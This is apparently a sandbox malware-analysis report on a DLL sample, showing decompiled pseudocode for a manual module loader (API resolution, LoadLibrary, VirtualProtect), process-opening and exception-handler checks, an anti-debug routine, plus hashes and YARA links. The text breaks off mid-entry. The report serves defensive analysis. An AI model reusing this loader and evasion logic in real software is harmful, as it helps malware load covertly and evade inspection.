Associated: 00000000.00000002.1018442345.000000006D493000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018450245.000000006D495000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1018459315.000000006D496000.00000002.00020000.sdmp Download File

Similarity

API ID: DescriptorSecurity$ConvertString
String ID:
API String ID: 3907675253-0
Opcode ID: 4520d96861ba94a526de283c4d8db13b063ccbbe4804823eaf9c96d27d6046bb
Instruction ID: da2940aba1df70239f7e5fcf3520129ea9ac28dcb67bd06214b05fcb8fe8527f
Opcode Fuzzy Hash: 4520d96861ba94a526de283c4d8db13b063ccbbe4804823eaf9c96d27d6046bb
Instruction Fuzzy Hash: 50C04C74144380A7EA20AF42CC4EF567F61777A789F114509B2282D1D183B55854851D

Uniqueness

Uniqueness Score: -1.00%

Function 6D4CAC71, Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

__encode_pointer.LIBCMT ref: 6D4CAC73

Part of subcall function 6D4CABFF: RtlEncodePointer.NTDLL(00000000,?,6D4CAC78,00000000,6D4D5A67,6D58A270,00000000,00000314,?,6D4CD0DA,6D58A270,6D4EE438,00012010), ref: 6D4CAC66

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: EncodePointer__encode_pointer
String ID:
API String ID: 4150071819-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: 0ce14700389ef23558f280d854e16a604a313bbc2c82e51efa49fcf74ab7ef71
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 6D491634, Relevance: 1.3, APIs: 1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E6D491634(void* __eax) {
				char _v8;
				void* _v12;
				void* __edi;
				void* _t18;
				long _t24;
				long _t26;
				long _t29;
				intOrPtr _t40;
				void* _t41;
				intOrPtr* _t42;
				void* _t44;

				_t41 = __eax;
				_t16 =  *0x6d494140;
				_t33 =  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x6d494140 - 0x63698bc4 &  !( *0x6d494140 - 0x63698bc4);
				_t18 = E6D491146( *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x6d494140 - 0x63698bc4 &  !( *0x6d494140 - 0x63698bc4),  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x6d494140 - 0x63698bc4 &  !( *0x6d494140 - 0x63698bc4), _t16 + 0x9c96647d,  &_v8,  &_v12); // executed
				if(_t18 != 0) {
					_t29 = 8;
					goto L8;
				} else {
					_t40 = _v8;
					_t29 = E6D491CBE(_t33, _t40, _t41);
					if(_t29 == 0) {
						_t44 =  *((intOrPtr*)(_t40 + 0x3c)) + _t40;
						_t24 = E6D491BAC(_t40, _t44); // executed
						_t29 = _t24;
						if(_t29 == 0) {
							_t26 = E6D491020(_t44, _t40); // executed
							_t29 = _t26;
							if(_t29 == 0) {
								_push(_t26);
								_push(1);
								_push(_t40);
								if( *((intOrPtr*)( *((intOrPtr*)(_t44 + 0x28)) + _t40))() == 0) {
									_t29 = GetLastError();
								}
							}
						}
					}
					_t42 = _v12;
					 *((intOrPtr*)(_t42 + 0x18))( *((intOrPtr*)(_t42 + 0x1c))( *_t42));
					E6D49201E(_t42);
					L8:
					return _t29;
				}
			}

0x6d49163c
0x6d49163e
0x6d49165a
0x6d49166b
0x6d491672
0x6d4916d0
0x00000000
0x6d491674
0x6d491674
0x6d49167e
0x6d491682
0x6d491687
0x6d49168a
0x6d49168f
0x6d491693
0x6d491698
0x6d49169d
0x6d4916a1
0x6d4916a6
0x6d4916a7
0x6d4916ab
0x6d4916b0
0x6d4916b8
0x6d4916b8
0x6d4916b0
0x6d4916a1
0x6d491693
0x6d4916ba
0x6d4916c3
0x6d4916c7
0x6d4916d1
0x6d4916d7
0x6d4916d7

APIs

Part of subcall function 6D491146: GetModuleHandleA.KERNEL32(?,00000020,?,?,?,?,?,6D491670,?,?,?,?,?,00000002,?,?), ref: 6D49116A
Part of subcall function 6D491146: GetProcAddress.KERNEL32(00000000,?), ref: 6D49118C
Part of subcall function 6D491146: GetProcAddress.KERNEL32(00000000,?), ref: 6D4911A2
Part of subcall function 6D491146: GetProcAddress.KERNEL32(00000000,?), ref: 6D4911B8
Part of subcall function 6D491146: GetProcAddress.KERNEL32(00000000,?), ref: 6D4911CE
Part of subcall function 6D491146: GetProcAddress.KERNEL32(00000000,?), ref: 6D4911E4

Part of subcall function 6D491CBE: memcpy.NTDLL(00000002,?,6D49167E,?,?,?,?,?,6D49167E,?,?,?,?,?,?,?), ref: 6D491CF5
Part of subcall function 6D491CBE: memcpy.NTDLL(00000002,?,?,?,00000002), ref: 6D491D2A

Part of subcall function 6D491BAC: LoadLibraryA.KERNELBASE(?,?,00000000,?,?), ref: 6D491BE4

Part of subcall function 6D491020: VirtualProtect.KERNELBASE(00000000,?,?,?,?,?,00000000,?,?), ref: 6D491059
Part of subcall function 6D491020: VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 6D4910CE
Part of subcall function 6D491020: GetLastError.KERNEL32 ref: 6D4910D4

GetLastError.KERNEL32(?,?), ref: 6D4916B2

Memory Dump Source

Source File: 00000000.00000002.1018434864.000000006D491000.00000020.00020000.sdmp, Offset: 6D490000, based on PE: true

Associated: 00000000.00000002.1018427838.000000006D490000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018442345.000000006D493000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018450245.000000006D495000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1018459315.000000006D496000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$ErrorLastProtectVirtualmemcpy$HandleLibraryLoadModule
String ID:
API String ID: 2673762927-0
Opcode ID: 32e8927c7100a44f31046ca7ccde54a7c3a86d2accec727f083ad3c318e05c58
Instruction ID: 2d29def6be9dd480a91e983802fa7eda6f18d43efe096bb4678e3be96b8016da
Opcode Fuzzy Hash: 32e8927c7100a44f31046ca7ccde54a7c3a86d2accec727f083ad3c318e05c58
Instruction Fuzzy Hash: EC110B766043026FC721DAAACC84D9B7BBDAF482087084119EA019B641DBA0ED0687E0

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6D4C4FB4, Relevance: 7.6, APIs: 5, Instructions: 58COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 6D4CBEF3
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6D4CBF08
UnhandledExceptionFilter.KERNEL32(6D4EDEAC), ref: 6D4CBF13
GetCurrentProcess.KERNEL32(C0000409), ref: 6D4CBF2F
TerminateProcess.KERNEL32(00000000), ref: 6D4CBF36

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 9ff6d9b1147879a150299d8127f04f2442a3992e4ad5701a4cbb51b5c8852e48
Instruction ID: 8ae6a6210d6f05afa26681d4a95920c724a5c2227384450179d3dac76b9f194d
Opcode Fuzzy Hash: 9ff6d9b1147879a150299d8127f04f2442a3992e4ad5701a4cbb51b5c8852e48
Instruction Fuzzy Hash: D121FEB94243249FDF41EF28D488B943FB4BB4B306F12601AE50997B50E7B19A81CF46

Uniqueness

Uniqueness Score: -1.00%

Function 6D491F0E, Relevance: 6.0, APIs: 4, Instructions: 40
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D491F0E() {
				void* _t1;
				unsigned int _t3;
				void* _t4;
				long _t5;
				void* _t6;
				intOrPtr _t10;
				void* _t14;

				_t10 =  *0x6d494130;
				_t1 = CreateEventA(0, 1, 0, 0);
				 *0x6d49413c = _t1;
				if(_t1 == 0) {
					return GetLastError();
				}
				_t3 = GetVersion();
				if(_t3 != 5) {
					L4:
					if(_t14 <= 0) {
						_t4 = 0x32;
						return _t4;
					} else {
						goto L5;
					}
				} else {
					if(_t3 >> 8 > 0) {
						L5:
						 *0x6d49412c = _t3;
						_t5 = GetCurrentProcessId();
						 *0x6d494128 = _t5;
						 *0x6d494130 = _t10;
						_t6 = OpenProcess(0x10047a, 0, _t5);
						 *0x6d494124 = _t6;
						if(_t6 == 0) {
							 *0x6d494124 =  *0x6d494124 | 0xffffffff;
						}
						return 0;
					} else {
						_t14 = _t3 - _t3;
						goto L4;
					}
				}
			}

0x6d491f0f
0x6d491f1d
0x6d491f23
0x6d491f2a
0x6d491f81
0x6d491f81
0x6d491f2c
0x6d491f34
0x6d491f41
0x6d491f41
0x6d491f7d
0x6d491f7f
0x00000000
0x00000000
0x00000000
0x6d491f36
0x6d491f3d
0x6d491f43
0x6d491f43
0x6d491f48
0x6d491f56
0x6d491f5b
0x6d491f61
0x6d491f67
0x6d491f6e
0x6d491f70
0x6d491f70
0x6d491f7a
0x6d491f3f
0x6d491f3f
0x00000000
0x6d491f3f
0x6d491f3d

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,6D491462,73B763F0), ref: 6D491F1D
GetVersion.KERNEL32 ref: 6D491F2C
GetCurrentProcessId.KERNEL32 ref: 6D491F48
OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 6D491F61

Memory Dump Source

Source File: 00000000.00000002.1018434864.000000006D491000.00000020.00020000.sdmp, Offset: 6D490000, based on PE: true

Associated: 00000000.00000002.1018427838.000000006D490000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018442345.000000006D493000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018450245.000000006D495000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1018459315.000000006D496000.00000002.00020000.sdmp Download File

Similarity

API ID: Process$CreateCurrentEventOpenVersion
String ID:
API String ID: 845504543-0
Opcode ID: c2db58ff44ca0c30cc10d12e414e3f293e5e03f7124f9ef23386a0cd17a177eb
Instruction ID: 399892eda34fefd00a818b72ecc28ff460aa6a7accbed113d86d9830519292d9
Opcode Fuzzy Hash: c2db58ff44ca0c30cc10d12e414e3f293e5e03f7124f9ef23386a0cd17a177eb
Instruction Fuzzy Hash: B8F06D316443019BDF10AA6AA81EB943BB4A76B792F200115E55ACE2CCD360CC418B0C

Uniqueness

Uniqueness Score: -1.00%

Function 6D4923A5, Relevance: 1.7, APIs: 1, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D4923A5(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x6d494178;
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x6d4941c0 = 1;
										__eflags =  *0x6d4941c0;
										if( *0x6d4941c0 != 0) {
											goto L60;
										}
										_t84 =  *0x6d494178;
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x6d4941c0 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x6d494178 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x6d494180 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x6d49417c + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x6d494180 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x6d494180 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x6d4941c0 = 1;
							__eflags =  *0x6d4941c0;
							if( *0x6d4941c0 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x6d494180 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x6d494180 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x6d4941c0 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x6d494180 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t58 = _t81 - 1;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x6d494178 = _t81;
								}
								_t58 = _t81 - 1;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x6d494180 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x6d494180 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}

0x6d4923af
0x6d4923b2
0x6d4923b8
0x6d4923d6
0x00000000
0x6d4923d6
0x6d4923c0
0x6d4923c9
0x6d4923cf
0x6d4923de
0x6d4923e1
0x6d4923e4
0x6d4923ee
0x6d4923ee
0x6d4923f0
0x6d4923f3
0x6d4923f5
0x6d4923f5
0x6d4923f7
0x6d4923fa
0x00000000
0x00000000
0x6d4923fc
0x6d4923fe
0x6d492464
0x6d492464
0x6d4925c2
0x00000000
0x6d4925c2
0x6d492400
0x6d492400
0x6d492404
0x6d492406
0x6d492406
0x6d492406
0x6d492406
0x6d492409
0x6d49240a
0x6d49240d
0x6d49240d
0x6d492411
0x6d492415
0x6d492423
0x6d492423
0x6d49242b
0x6d492431
0x6d492433
0x6d492435
0x6d492445
0x6d492452
0x6d492456
0x6d49245b
0x6d49245d
0x6d4924db
0x6d4924db
0x6d49245f
0x6d49245f
0x6d49245f
0x6d4924dd
0x6d4924df
0x6d4925c0
0x6d4925c0
0x00000000
0x6d4924e5
0x6d4924e5
0x6d4924ec
0x00000000
0x00000000
0x6d4924f2
0x6d4924f6
0x6d492552
0x6d492554
0x6d49255c
0x6d49255e
0x6d492560
0x00000000
0x00000000
0x6d492562
0x6d492568
0x6d49256a
0x6d49256c
0x6d492581
0x6d492581
0x6d492583
0x6d4925b2
0x6d4925b9
0x00000000
0x6d4925b9
0x6d492587
0x6d492588
0x6d49258a
0x6d49258c
0x6d49258c
0x6d49258e
0x6d492590
0x6d492592
0x6d4925a6
0x6d4925a6
0x6d4925a9
0x6d4925ab
0x6d4925ab
0x6d4925ac
0x6d4925ac
0x00000000
0x6d492594
0x6d492594
0x6d492594
0x6d49259d
0x6d49259e
0x6d4925a0
0x6d4925a2
0x6d4925a2
0x00000000
0x6d492594
0x6d492592
0x6d49256e
0x6d492575
0x6d492575
0x6d492577
0x00000000
0x00000000
0x6d492579
0x6d49257a
0x6d49257d
0x6d49257f
0x00000000
0x00000000
0x00000000
0x6d49257f
0x00000000
0x6d492575
0x6d4924f8
0x6d4924fb
0x6d492500
0x00000000
0x00000000
0x6d492509
0x6d49250b
0x6d492511
0x00000000
0x00000000
0x6d492517
0x6d49251d
0x00000000
0x00000000
0x6d492523
0x6d492525
0x6d49252e
0x6d492532
0x00000000
0x00000000
0x6d492538
0x6d49253b
0x6d49253d
0x00000000
0x00000000
0x6d492544
0x6d492546
0x00000000
0x00000000
0x6d492548
0x6d49254c
0x00000000
0x00000000
0x00000000
0x6d49254c
0x00000000
0x00000000
0x00000000
0x6d492437
0x6d492437
0x6d492437
0x6d49243e
0x00000000
0x00000000
0x6d492440
0x6d492441
0x6d492443
0x00000000
0x00000000
0x00000000
0x6d492443
0x6d49246b
0x6d49246d
0x00000000
0x00000000
0x6d49247d
0x6d49247f
0x6d492481
0x00000000
0x00000000
0x6d492487
0x6d49248e
0x6d4924ba
0x6d4924ba
0x6d4924bc
0x6d4924be
0x6d4924d2
0x6d4924d4
0x00000000
0x00000000
0x00000000
0x00000000
0x6d4924c0
0x6d4924c0
0x6d4924c0
0x6d4924c9
0x6d4924ca
0x6d4924cc
0x6d4924ce
0x6d4924ce
0x00000000
0x6d4924c0
0x6d492490
0x6d492493
0x6d492495
0x6d4924a7
0x6d4924a7
0x6d4924aa
0x6d4924ac
0x6d4924ac
0x6d4924ad
0x6d4924ad
0x6d4924b3
0x00000000
0x00000000
0x00000000
0x00000000
0x6d492497
0x6d492497
0x6d492497
0x6d49249e
0x00000000
0x00000000
0x6d4924a0
0x6d4924a0
0x6d4924a1
0x00000000
0x00000000
0x00000000
0x6d4924a1
0x6d4924a3
0x6d4924a5
0x6d4924b8
0x00000000
0x00000000
0x00000000
0x6d4924b8
0x00000000
0x6d4924a5
0x6d492417
0x6d49241a
0x6d49241d
0x00000000
0x00000000
0x6d49241f
0x6d492421
0x00000000
0x00000000
0x00000000
0x6d492421
0x6d4923e6
0x6d4923e8
0x00000000
0x00000000
0x00000000
0x00000000

APIs

NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 6D492456

Memory Dump Source

Source File: 00000000.00000002.1018434864.000000006D491000.00000020.00020000.sdmp, Offset: 6D490000, based on PE: true

Associated: 00000000.00000002.1018427838.000000006D490000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018442345.000000006D493000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018450245.000000006D495000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1018459315.000000006D496000.00000002.00020000.sdmp Download File

Similarity

API ID: MemoryQueryVirtual
String ID:
API String ID: 2850889275-0
Opcode ID: b742b616b92406574f6dbe238ef12264ff3f140741a85695730b53f87932ca4d
Instruction ID: cbd32c010c70b21d4c76fbadc1d4b5c2714ad4b0cfd51528ae1c93ad9a797ed5
Opcode Fuzzy Hash: b742b616b92406574f6dbe238ef12264ff3f140741a85695730b53f87932ca4d
Instruction Fuzzy Hash: 3361A6306046069FDB39CA2BD8D4F693FB5AB56378BB48429D416DF290EB30DD428B50

Uniqueness

Uniqueness Score: -1.00%

Function 6D4B99A0, Relevance: 1.5, Strings: 1, Instructions: 297COMMON

Download Yara Rule

Strings

C, xrefs: 6D4B99A8

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID:
String ID: C
API String ID: 0-1037565863
Opcode ID: 1a0223152f7e2d45b15191ebcff189083efc6fde5cf8eb873be0db84d3e953cb
Instruction ID: 6998f7a6003b62920ebf47a249a5056e8003204c52f78b73938e3bf58c81c199
Opcode Fuzzy Hash: 1a0223152f7e2d45b15191ebcff189083efc6fde5cf8eb873be0db84d3e953cb
Instruction Fuzzy Hash: 26D13C729001958FDB28DFA8E4D0BAEBBF2FB9A304B148119D645E7354DB30AD54DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6D4BDA30, Relevance: 1.4, Strings: 1, Instructions: 154COMMON

Download Yara Rule

Strings

ASwG, xrefs: 6D4BDA38, 6D4BDAA0, 6D4BDB01, 6D4BDB29, 6D4BDB6B, 6D4BDB96, 6D4BDBB1, 6D4BDBDB, 6D4BDC7F

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID:
String ID: ASwG
API String ID: 0-1194658736
Opcode ID: 01b84902ab76abf7e351acbe516a40e7d86f8759bf3be116bc4f7e5476ed4b1a
Instruction ID: 74d0c3f4f93879efc17466c216f0e3e466877a6456248817938b142581d68e3b
Opcode Fuzzy Hash: 01b84902ab76abf7e351acbe516a40e7d86f8759bf3be116bc4f7e5476ed4b1a
Instruction Fuzzy Hash: E161B072A01190EFEB28EF28E9D0B1577B2E7DA3187058129D609D7264DF30EC65CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6D492184, Relevance: .1, Instructions: 77
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E6D492184(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E6D4922EB(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E6D4923A5(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E6D492290(_t55, _t66);
										_t89 = _t66 + 0x10;
										E6D4922EB(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
										E6D492387(_t82[2], 1);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])();
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}

0x6d492188
0x6d492189
0x6d49218a
0x6d49218d
0x6d49218f
0x6d492192
0x6d492193
0x6d492195
0x6d492196
0x6d492197
0x6d49219a
0x6d4921a4
0x6d492255
0x6d49225c
0x6d492265
0x6d4921aa
0x6d4921aa
0x6d4921b0
0x6d4921b6
0x6d4921b9
0x6d4921bc
0x6d4921c0
0x6d4921c5
0x6d4921ca
0x6d49224a
0x00000000
0x6d4921cc
0x6d4921cc
0x6d4921d8
0x6d4921da
0x6d492235
0x6d492235
0x6d49223b
0x00000000
0x6d4921dc
0x6d4921eb
0x6d4921ed
0x6d4921ee
0x6d4921ef
0x6d4921f2
0x6d4921f2
0x6d4921f4
0x00000000
0x6d4921f6
0x6d4921f6
0x6d492240
0x6d4921f8
0x6d4921f8
0x6d4921fc
0x6d492204
0x6d492209
0x6d49220e
0x6d49221a
0x6d492222
0x6d492229
0x6d49222f
0x6d492233
0x00000000
0x6d492233
0x6d4921f6
0x6d4921f4
0x00000000
0x6d4921da
0x6d49224e
0x6d49224e
0x6d49224e
0x6d4921ca
0x6d49226a
0x6d492271

Memory Dump Source

Source File: 00000000.00000002.1018434864.000000006D491000.00000020.00020000.sdmp, Offset: 6D490000, based on PE: true

Associated: 00000000.00000002.1018427838.000000006D490000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018442345.000000006D493000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.1018450245.000000006D495000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.1018459315.000000006D496000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
Instruction ID: 32a2dc09c7b74a06b967df89ec17438bcd06ba0004e0dee24fedfb5dbe788cb8
Opcode Fuzzy Hash: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
Instruction Fuzzy Hash: 5E21B6729042059BD720DF69CCC0DA7BBA5FF49350B868168D9199F245DB30FE25C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 6D4C68E0, Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1018471035.000000006D4A0000.00000020.00020000.sdmp, Offset: 6D4A0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 84ea878fdd1b0bade53110af8b1c9cad9d6fffa9ffcbfc05e22f5fb0f418094a
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 9C110BBF24504343D7008B2DD5B0EB6E7A5EBC6224738C37AD0A14B77CD12399459582

Uniqueness

Uniqueness Score: -1.00%

Function 6D4F3E83, Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

